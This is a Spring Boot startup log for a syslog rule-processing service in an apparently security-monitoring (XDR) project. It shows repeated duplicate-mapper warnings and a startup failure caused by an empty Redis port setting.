2026-05-18 17:17:51.256 [background-preinit] INFO o.h.validator.internal.util.Version - HV000001: Hibernate Validator 6.2.5.Final
|
||||
2026-05-18 17:17:51.260 [main] INFO com.syslogRuleApplication - No active profile set, falling back to 1 default profile: "default"
|
||||
2026-05-18 17:17:54.166 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Multiple Spring Data modules found, entering strict repository configuration mode
|
||||
2026-05-18 17:17:54.167 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Bootstrapping Spring Data Elasticsearch repositories in DEFAULT mode.
|
||||
2026-05-18 17:17:54.723 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Finished Spring Data repository scanning in 551 ms. Found 1 Elasticsearch repository interfaces.
|
||||
2026-05-18 17:17:54.729 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Multiple Spring Data modules found, entering strict repository configuration mode
|
||||
2026-05-18 17:17:54.731 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Bootstrapping Spring Data Reactive Elasticsearch repositories in DEFAULT mode.
|
||||
2026-05-18 17:17:54.861 [main] INFO o.s.d.r.c.RepositoryConfigurationExtensionSupport - Spring Data Reactive Elasticsearch - Could not safely identify store assignment for repository candidate interface com.common.service.AppLogRepository; If you want this repository to be a Reactive Elasticsearch repository, consider annotating your entities with one of these annotations: org.springframework.data.elasticsearch.annotations.Document (preferred), or consider extending one of the following types with your repository: org.springframework.data.elasticsearch.repository.ReactiveElasticsearchRepository
|
||||
2026-05-18 17:17:54.862 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Finished Spring Data repository scanning in 130 ms. Found 0 Reactive Elasticsearch repository interfaces.
|
||||
2026-05-18 17:17:54.875 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Multiple Spring Data modules found, entering strict repository configuration mode
|
||||
2026-05-18 17:17:54.876 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Bootstrapping Spring Data Redis repositories in DEFAULT mode.
|
||||
2026-05-18 17:17:54.988 [main] INFO o.s.d.r.c.RepositoryConfigurationExtensionSupport - Spring Data Redis - Could not safely identify store assignment for repository candidate interface com.common.service.AppLogRepository; If you want this repository to be a Redis repository, consider annotating your entities with one of these annotations: org.springframework.data.redis.core.RedisHash (preferred), or consider extending one of the following types with your repository: org.springframework.data.keyvalue.repository.KeyValueRepository
|
||||
2026-05-18 17:17:54.988 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Finished Spring Data repository scanning in 105 ms. Found 0 Redis repository interfaces.
|
||||
2026-05-18 17:17:55.122 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'alarmMapper' and 'com.common.mapper.AlarmMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 17:17:55.123 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'alarmVisitMapper' and 'com.common.mapper.AlarmVisitMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 17:17:55.123 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisAnalysisRuleMapper' and 'com.common.mapper.AnalysisAnalysisRuleMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 17:17:55.123 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisFieldMapper' and 'com.common.mapper.AnalysisFieldMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 17:17:55.123 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisFilterMapper' and 'com.common.mapper.AnalysisFilterMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 17:17:55.123 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisGroupByColumnMapper' and 'com.common.mapper.AnalysisGroupByColumnMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 17:17:55.123 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisGroupByHavingMapper' and 'com.common.mapper.AnalysisGroupByHavingMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 17:17:55.123 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisGroupByMapper' and 'com.common.mapper.AnalysisGroupByMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 17:17:55.123 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisGroupByWindowMapper' and 'com.common.mapper.AnalysisGroupByWindowMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 17:17:55.123 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisTaskHistoryMapper' and 'com.common.mapper.AnalysisTaskHistoryMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 17:17:55.123 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisWhereConditionMapper' and 'com.common.mapper.AnalysisWhereConditionMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 17:17:55.123 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'appLogMapper' and 'com.common.mapper.AppLogMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 17:17:55.124 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'deviceCollectHeartbeatHistoryMapper' and 'com.common.mapper.DeviceCollectHeartbeatHistoryMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 17:17:55.124 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'deviceCollectHeartbeatMapper' and 'com.common.mapper.DeviceCollectHeartbeatMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 17:17:55.124 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'deviceCollectTaskMapper' and 'com.common.mapper.DeviceCollectTaskMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 17:17:55.124 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'deviceDeviceMapper' and 'com.common.mapper.DeviceDeviceMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 17:17:55.124 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'deviceInterlockingCmdMapper' and 'com.common.mapper.DeviceInterlockingCmdMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 17:17:55.124 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'deviceInterlockingLogMapper' and 'com.common.mapper.DeviceInterlockingLogMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 17:17:55.124 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'deviceInterlockingMapper' and 'com.common.mapper.DeviceInterlockingMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 17:17:55.124 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'deviceReceiveLogMapper' and 'com.common.mapper.DeviceReceiveLogMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 17:17:55.124 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'dmColumnMapper' and 'com.common.mapper.DmColumnMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 17:17:55.124 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'dmNormalizeRuleMapper' and 'com.common.mapper.DmNormalizeRuleMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 17:17:55.124 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'normalizeRuleStatsMapper' and 'com.common.mapper.NormalizeRuleStatsMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 17:17:55.124 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'secExceptionAlgorithmMapper' and 'com.common.mapper.SecExceptionAlgorithmMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 17:17:55.124 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'syslogNonNormalMessageMapper' and 'com.common.mapper.SyslogNonNormalMessageMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 17:17:55.124 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'syslogNormalAlarmMapper' and 'com.common.mapper.SyslogNormalAlarmMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 17:17:55.124 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'syslogNormalDataMapper' and 'com.common.mapper.SyslogNormalDataMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 17:17:55.124 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'wecomNotificationMapper' and 'com.common.mapper.WecomNotificationMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 17:17:55.124 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'xdrHoneypotMapper' and 'com.common.mapper.XdrHoneypotMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 17:17:55.125 [main] WARN o.m.s.mapper.ClassPathMapperScanner - No MyBatis mapper was found in '[com.common.mapper]' package. Please check your configuration.
|
||||
2026-05-18 17:17:55.722 [main] INFO o.s.b.w.e.tomcat.TomcatWebServer - Tomcat initialized with port(s): 8289 (http)
|
||||
2026-05-18 17:17:55.731 [main] INFO o.a.coyote.http11.Http11NioProtocol - Initializing ProtocolHandler ["http-nio-8289"]
|
||||
2026-05-18 17:17:55.731 [main] INFO o.a.catalina.core.StandardService - Starting service [Tomcat]
|
||||
2026-05-18 17:17:55.732 [main] INFO o.a.catalina.core.StandardEngine - Starting Servlet engine: [Apache Tomcat/9.0.65]
|
||||
2026-05-18 17:17:55.955 [main] INFO o.a.c.c.C.[.[.[/xdrservice] - Initializing Spring embedded WebApplicationContext
|
||||
2026-05-18 17:17:55.956 [main] INFO o.s.b.w.s.c.ServletWebServerApplicationContext - Root WebApplicationContext: initialization completed in 4614 ms
|
||||
2026-05-18 17:17:56.003 [main] INFO o.s.b.f.a.AutowiredAnnotationBeanPostProcessor - Autowired annotation is not supported on static fields: private static com.common.service.DmColumnService com.syslogRuleApplication.dmColumnService
|
||||
2026-05-18 17:17:59.398 [main] INFO com.influx.InfluxDBClient - InfluxDB connection successful: ready for queries and writes
|
||||
2026-05-18 17:17:59.975 [main] WARN c.b.m.core.injector.AbstractMethod - [com.common.mapper.DeviceCollectTaskMapper.insert] Has been loaded by XML or SqlProvider or Mybatis's Annotation, so ignoring this injection for [class com.baomidou.mybatisplus.core.injector.methods.Insert]
|
||||
2026-05-18 17:17:59.990 [main] WARN c.b.m.core.injector.AbstractMethod - [com.common.mapper.DeviceCollectTaskMapper.update] Has been loaded by XML or SqlProvider or Mybatis's Annotation, so ignoring this injection for [class com.baomidou.mybatisplus.core.injector.methods.Update]
|
||||
2026-05-18 17:18:00.010 [main] WARN c.b.m.core.injector.AbstractMethod - [com.common.mapper.DeviceCollectTaskMapper.deleteById] Has been loaded by XML or SqlProvider or Mybatis's Annotation, so ignoring this injection for [class com.baomidou.mybatisplus.core.injector.methods.DeleteById]
|
||||
2026-05-18 17:18:00.015 [main] WARN c.b.m.core.injector.AbstractMethod - [com.common.mapper.DeviceCollectTaskMapper.selectById] Has been loaded by XML or SqlProvider or Mybatis's Annotation, so ignoring this injection for [class com.baomidou.mybatisplus.core.injector.methods.SelectById]
|
||||
2026-05-18 17:18:00.085 [main] ERROR c.b.m.core.MybatisConfiguration - mapper[com.common.mapper.SecExceptionAlgorithmMapper.findById] is ignored, because it exists, maybe from xml file
|
||||
2026-05-18 17:18:07.144 [main] WARN o.s.b.w.s.c.AnnotationConfigServletWebServerApplicationContext - Exception encountered during context initialization - cancelling refresh attempt: org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'realtimeAnalysisScheduler': Unsatisfied dependency expressed through field 'ruleExecutionTimeService'; nested exception is org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'ruleExecutionTimeServiceImpl': Unsatisfied dependency expressed through field 'redisTemplate'; nested exception is org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'stringRedisTemplate' defined in class path resource [org/springframework/boot/autoconfigure/data/redis/RedisAutoConfiguration.class]: Unsatisfied dependency expressed through method 'stringRedisTemplate' parameter 0; nested exception is org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'org.springframework.boot.autoconfigure.data.redis.LettuceConnectionConfiguration': Unsatisfied dependency expressed through constructor parameter 0; nested exception is org.springframework.boot.context.properties.ConfigurationPropertiesBindException: Error creating bean with name 'spring.redis-org.springframework.boot.autoconfigure.data.redis.RedisProperties': Could not bind properties to 'RedisProperties' : prefix=spring.redis, ignoreInvalidFields=false, ignoreUnknownFields=true; nested exception is org.springframework.boot.context.properties.bind.BindException: Failed to bind properties under 'spring.redis.port' to int
|
||||
2026-05-18 17:18:07.150 [main] INFO o.a.catalina.core.StandardService - Stopping service [Tomcat]
|
||||
2026-05-18 17:18:07.166 [main] INFO o.s.b.a.l.ConditionEvaluationReportLoggingListener -
|
||||
|
||||
Error starting ApplicationContext. To display the conditions report re-run your application with 'debug' enabled.
|
||||
2026-05-18 17:18:07.193 [main] ERROR o.s.b.d.LoggingFailureAnalysisReporter -
|
||||
|
||||
***************************
|
||||
APPLICATION FAILED TO START
|
||||
***************************
|
||||
|
||||
Description:
|
||||
|
||||
Failed to bind properties under 'spring.redis.port' to int:
|
||||
|
||||
Property: spring.redis.port
|
||||
Value: ""
|
||||
Origin: class path resource [application.properties] - 90:0
|
||||
Reason: failed to convert java.lang.String to int (caused by java.lang.IllegalArgumentException: A null value cannot be assigned to a primitive type)
|
||||
|
||||
Action:
|
||||
|
||||
Update your application's configuration
|
||||
|
||||
2026-05-18 18:24:25.603 [background-preinit] INFO o.h.validator.internal.util.Version - HV000001: Hibernate Validator 6.2.5.Final
|
||||
2026-05-18 18:24:25.600 [main] INFO com.syslogRuleApplication - Starting syslogRuleApplication using Java 1.8.0_121 on LAPTOP-ARDUR3N0 with PID 21304 (E:\GIT_GOSAME\ai-security-xdr\haobang-security-xdr\syslog-consumer-rule\target\classes started by chenc in E:\GIT_GOSAME\ai-security-xdr\haobang-security-xdr)
|
||||
2026-05-18 18:24:25.605 [main] INFO com.syslogRuleApplication - No active profile set, falling back to 1 default profile: "default"
|
||||
2026-05-18 18:24:28.716 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Multiple Spring Data modules found, entering strict repository configuration mode
|
||||
2026-05-18 18:24:28.717 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Bootstrapping Spring Data Elasticsearch repositories in DEFAULT mode.
|
||||
2026-05-18 18:24:29.321 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Finished Spring Data repository scanning in 597 ms. Found 1 Elasticsearch repository interfaces.
|
||||
2026-05-18 18:24:29.327 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Multiple Spring Data modules found, entering strict repository configuration mode
|
||||
2026-05-18 18:24:29.328 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Bootstrapping Spring Data Reactive Elasticsearch repositories in DEFAULT mode.
|
||||
2026-05-18 18:24:29.505 [main] INFO o.s.d.r.c.RepositoryConfigurationExtensionSupport - Spring Data Reactive Elasticsearch - Could not safely identify store assignment for repository candidate interface com.common.service.AppLogRepository; If you want this repository to be a Reactive Elasticsearch repository, consider annotating your entities with one of these annotations: org.springframework.data.elasticsearch.annotations.Document (preferred), or consider extending one of the following types with your repository: org.springframework.data.elasticsearch.repository.ReactiveElasticsearchRepository
|
||||
2026-05-18 18:24:29.505 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Finished Spring Data repository scanning in 176 ms. Found 0 Reactive Elasticsearch repository interfaces.
|
||||
2026-05-18 18:24:29.521 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Multiple Spring Data modules found, entering strict repository configuration mode
|
||||
2026-05-18 18:24:29.522 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Bootstrapping Spring Data Redis repositories in DEFAULT mode.
|
||||
2026-05-18 18:24:29.653 [main] INFO o.s.d.r.c.RepositoryConfigurationExtensionSupport - Spring Data Redis - Could not safely identify store assignment for repository candidate interface com.common.service.AppLogRepository; If you want this repository to be a Redis repository, consider annotating your entities with one of these annotations: org.springframework.data.redis.core.RedisHash (preferred), or consider extending one of the following types with your repository: org.springframework.data.keyvalue.repository.KeyValueRepository
|
||||
2026-05-18 18:24:29.653 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Finished Spring Data repository scanning in 119 ms. Found 0 Redis repository interfaces.
|
||||
2026-05-18 18:24:29.793 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'alarmMapper' and 'com.common.mapper.AlarmMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:24:29.794 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'alarmVisitMapper' and 'com.common.mapper.AlarmVisitMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:24:29.794 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisAnalysisRuleMapper' and 'com.common.mapper.AnalysisAnalysisRuleMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:24:29.794 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisFieldMapper' and 'com.common.mapper.AnalysisFieldMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:24:29.794 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisFilterMapper' and 'com.common.mapper.AnalysisFilterMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:24:29.794 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisGroupByColumnMapper' and 'com.common.mapper.AnalysisGroupByColumnMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:24:29.794 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisGroupByHavingMapper' and 'com.common.mapper.AnalysisGroupByHavingMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:24:29.794 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisGroupByMapper' and 'com.common.mapper.AnalysisGroupByMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:24:29.794 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisGroupByWindowMapper' and 'com.common.mapper.AnalysisGroupByWindowMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:24:29.794 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisTaskHistoryMapper' and 'com.common.mapper.AnalysisTaskHistoryMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:24:29.794 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'analysisWhereConditionMapper' and 'com.common.mapper.AnalysisWhereConditionMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:24:29.794 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'appLogMapper' and 'com.common.mapper.AppLogMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:24:29.794 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'deviceCollectHeartbeatHistoryMapper' and 'com.common.mapper.DeviceCollectHeartbeatHistoryMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:24:29.794 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'deviceCollectHeartbeatMapper' and 'com.common.mapper.DeviceCollectHeartbeatMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:24:29.794 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'deviceCollectTaskMapper' and 'com.common.mapper.DeviceCollectTaskMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:24:29.794 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'deviceDeviceMapper' and 'com.common.mapper.DeviceDeviceMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:24:29.794 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'deviceInterlockingCmdMapper' and 'com.common.mapper.DeviceInterlockingCmdMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:24:29.794 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'deviceInterlockingLogMapper' and 'com.common.mapper.DeviceInterlockingLogMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:24:29.795 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'deviceInterlockingMapper' and 'com.common.mapper.DeviceInterlockingMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:24:29.795 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'deviceReceiveLogMapper' and 'com.common.mapper.DeviceReceiveLogMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:24:29.795 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'dmColumnMapper' and 'com.common.mapper.DmColumnMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:24:29.795 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'dmNormalizeRuleMapper' and 'com.common.mapper.DmNormalizeRuleMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:24:29.795 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'normalizeRuleStatsMapper' and 'com.common.mapper.NormalizeRuleStatsMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:24:29.795 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'secExceptionAlgorithmMapper' and 'com.common.mapper.SecExceptionAlgorithmMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:24:29.795 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'syslogNonNormalMessageMapper' and 'com.common.mapper.SyslogNonNormalMessageMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:24:29.795 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'syslogNormalAlarmMapper' and 'com.common.mapper.SyslogNormalAlarmMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:24:29.795 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'syslogNormalDataMapper' and 'com.common.mapper.SyslogNormalDataMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:24:29.795 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'wecomNotificationMapper' and 'com.common.mapper.WecomNotificationMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:24:29.795 [main] WARN o.m.s.mapper.ClassPathMapperScanner - Skipping MapperFactoryBean with name 'xdrHoneypotMapper' and 'com.common.mapper.XdrHoneypotMapper' mapperInterface. Bean already defined with the same name!
|
||||
2026-05-18 18:24:29.795 [main] WARN o.m.s.mapper.ClassPathMapperScanner - No MyBatis mapper was found in '[com.common.mapper]' package. Please check your configuration.
|
||||
2026-05-18 18:24:30.437 [main] INFO o.s.b.w.e.tomcat.TomcatWebServer - Tomcat initialized with port(s): 8289 (http)
|
||||
2026-05-18 18:24:30.444 [main] INFO o.a.coyote.http11.Http11NioProtocol - Initializing ProtocolHandler ["http-nio-8289"]
|
||||
2026-05-18 18:24:30.444 [main] INFO o.a.catalina.core.StandardService - Starting service [Tomcat]
|
||||
2026-05-18 18:24:30.444 [main] INFO o.a.catalina.core.StandardEngine - Starting Servlet engine: [Apache Tomcat/9.0.65]
|
||||
2026-05-18 18:24:30.679 [main] INFO o.a.c.c.C.[.[.[/xdrservice] - Initializing Spring embedded WebApplicationContext
|
||||
2026-05-18 18:24:30.679 [main] INFO o.s.b.w.s.c.ServletWebServerApplicationContext - Root WebApplicationContext: initialization completed in 4976 ms
|
||||
2026-05-18 18:24:30.732 [main] INFO o.s.b.f.a.AutowiredAnnotationBeanPostProcessor - Autowired annotation is not supported on static fields: private static com.common.service.DmColumnService com.syslogRuleApplication.dmColumnService
|
||||
2026-05-18 18:24:33.231 [main] INFO com.influx.InfluxDBClient - InfluxDB connection successful: ready for queries and writes
|
||||
2026-05-18 18:24:33.785 [main] WARN c.b.m.core.injector.AbstractMethod - [com.common.mapper.DeviceCollectTaskMapper.insert] Has been loaded by XML or SqlProvider or Mybatis's Annotation, so ignoring this injection for [class com.baomidou.mybatisplus.core.injector.methods.Insert]
|
||||
2026-05-18 18:24:33.800 [main] WARN c.b.m.core.injector.AbstractMethod - [com.common.mapper.DeviceCollectTaskMapper.update] Has been loaded by XML or SqlProvider or Mybatis's Annotation, so ignoring this injection for [class com.baomidou.mybatisplus.core.injector.methods.Update]
|
||||
2026-05-18 18:24:33.821 [main] WARN c.b.m.core.injector.AbstractMethod - [com.common.mapper.DeviceCollectTaskMapper.deleteById] Has been loaded by XML or SqlProvider or Mybatis's Annotation, so ignoring this injection for [class com.baomidou.mybatisplus.core.injector.methods.DeleteById]
|
||||
2026-05-18 18:24:33.825 [main] WARN c.b.m.core.injector.AbstractMethod - [com.common.mapper.DeviceCollectTaskMapper.selectById] Has been loaded by XML or SqlProvider or Mybatis's Annotation, so ignoring this injection for [class com.baomidou.mybatisplus.core.injector.methods.SelectById]
|
||||
2026-05-18 18:24:33.883 [main] ERROR c.b.m.core.MybatisConfiguration - mapper[com.common.mapper.SecExceptionAlgorithmMapper.findById] is ignored, because it exists, maybe from xml file
|
||||
2026-05-18 18:24:38.482 [main] WARN o.s.b.w.s.c.AnnotationConfigServletWebServerApplicationContext - Exception encountered during context initialization - cancelling refresh attempt: org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'realtimeAnalysisScheduler': Unsatisfied dependency expressed through field 'ruleExecutionTimeService'; nested exception is org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'ruleExecutionTimeServiceImpl': Unsatisfied dependency expressed through field 'redisTemplate'; nested exception is org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'stringRedisTemplate' defined in class path resource [org/springframework/boot/autoconfigure/data/redis/RedisAutoConfiguration.class]: Unsatisfied dependency expressed through method 'stringRedisTemplate' parameter 0; nested exception is org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'org.springframework.boot.autoconfigure.data.redis.LettuceConnectionConfiguration': Unsatisfied dependency expressed through constructor parameter 0; nested exception is org.springframework.boot.context.properties.ConfigurationPropertiesBindException: Error creating bean with name 'spring.redis-org.springframework.boot.autoconfigure.data.redis.RedisProperties': Could not bind properties to 'RedisProperties' : prefix=spring.redis, ignoreInvalidFields=false, ignoreUnknownFields=true; nested exception is org.springframework.boot.context.properties.bind.BindException: Failed to bind properties under 'spring.redis.port' to int
|
||||
2026-05-18 18:24:38.486 [main] INFO o.a.catalina.core.StandardService - Stopping service [Tomcat]
|
||||
2026-05-18 18:24:38.497 [main] INFO o.s.b.a.l.ConditionEvaluationReportLoggingListener -
|
||||
|
||||
Error starting ApplicationContext. To display the conditions report re-run your application with 'debug' enabled.
|
||||
2026-05-18 18:24:38.515 [main] ERROR o.s.b.d.LoggingFailureAnalysisReporter -
|
||||
|
||||
***************************
|
||||
APPLICATION FAILED TO START
|
||||
***************************
|
||||
|
||||
Description:
|
||||
|
||||
Failed to bind properties under 'spring.redis.port' to int:
|
||||
|
||||
Property: spring.redis.port
|
||||
Value: ""
|
||||
Origin: class path resource [application.properties] - 90:0
|
||||
Reason: failed to convert java.lang.String to int (caused by java.lang.IllegalArgumentException: A null value cannot be assigned to a primitive type)
|
||||
|
||||
Action:
|
||||
|
||||
Update your application's configuration
|
||||
|
||||
2026-05-18 18:25:05.717 [main] INFO com.syslogRuleApplication - Starting syslogRuleApplication using Java 1.8.0_121 on LAPTOP-ARDUR3N0 with PID 34956 (E:\GIT_GOSAME\ai-security-xdr\haobang-security-xdr\syslog-consumer-rule\target\classes started by chenc in E:\GIT_GOSAME\ai-security-xdr\haobang-security-xdr)
|
||||
2026-05-18 18:25:05.717 [background-preinit] INFO o.h.validator.internal.util.Version - HV000001: Hibernate Validator 6.2.5.Final
|
||||
2026-05-18 18:25:05.722 [main] INFO com.syslogRuleApplication - No active profile set, falling back to 1 default profile: "default"
|
||||
2026-05-18 18:25:08.014 [main] INFO o.s.d.r.c.RepositoryConfigurationDelegate - Multiple Spring Data modules found, entering strict repository configuration mode
|
||||
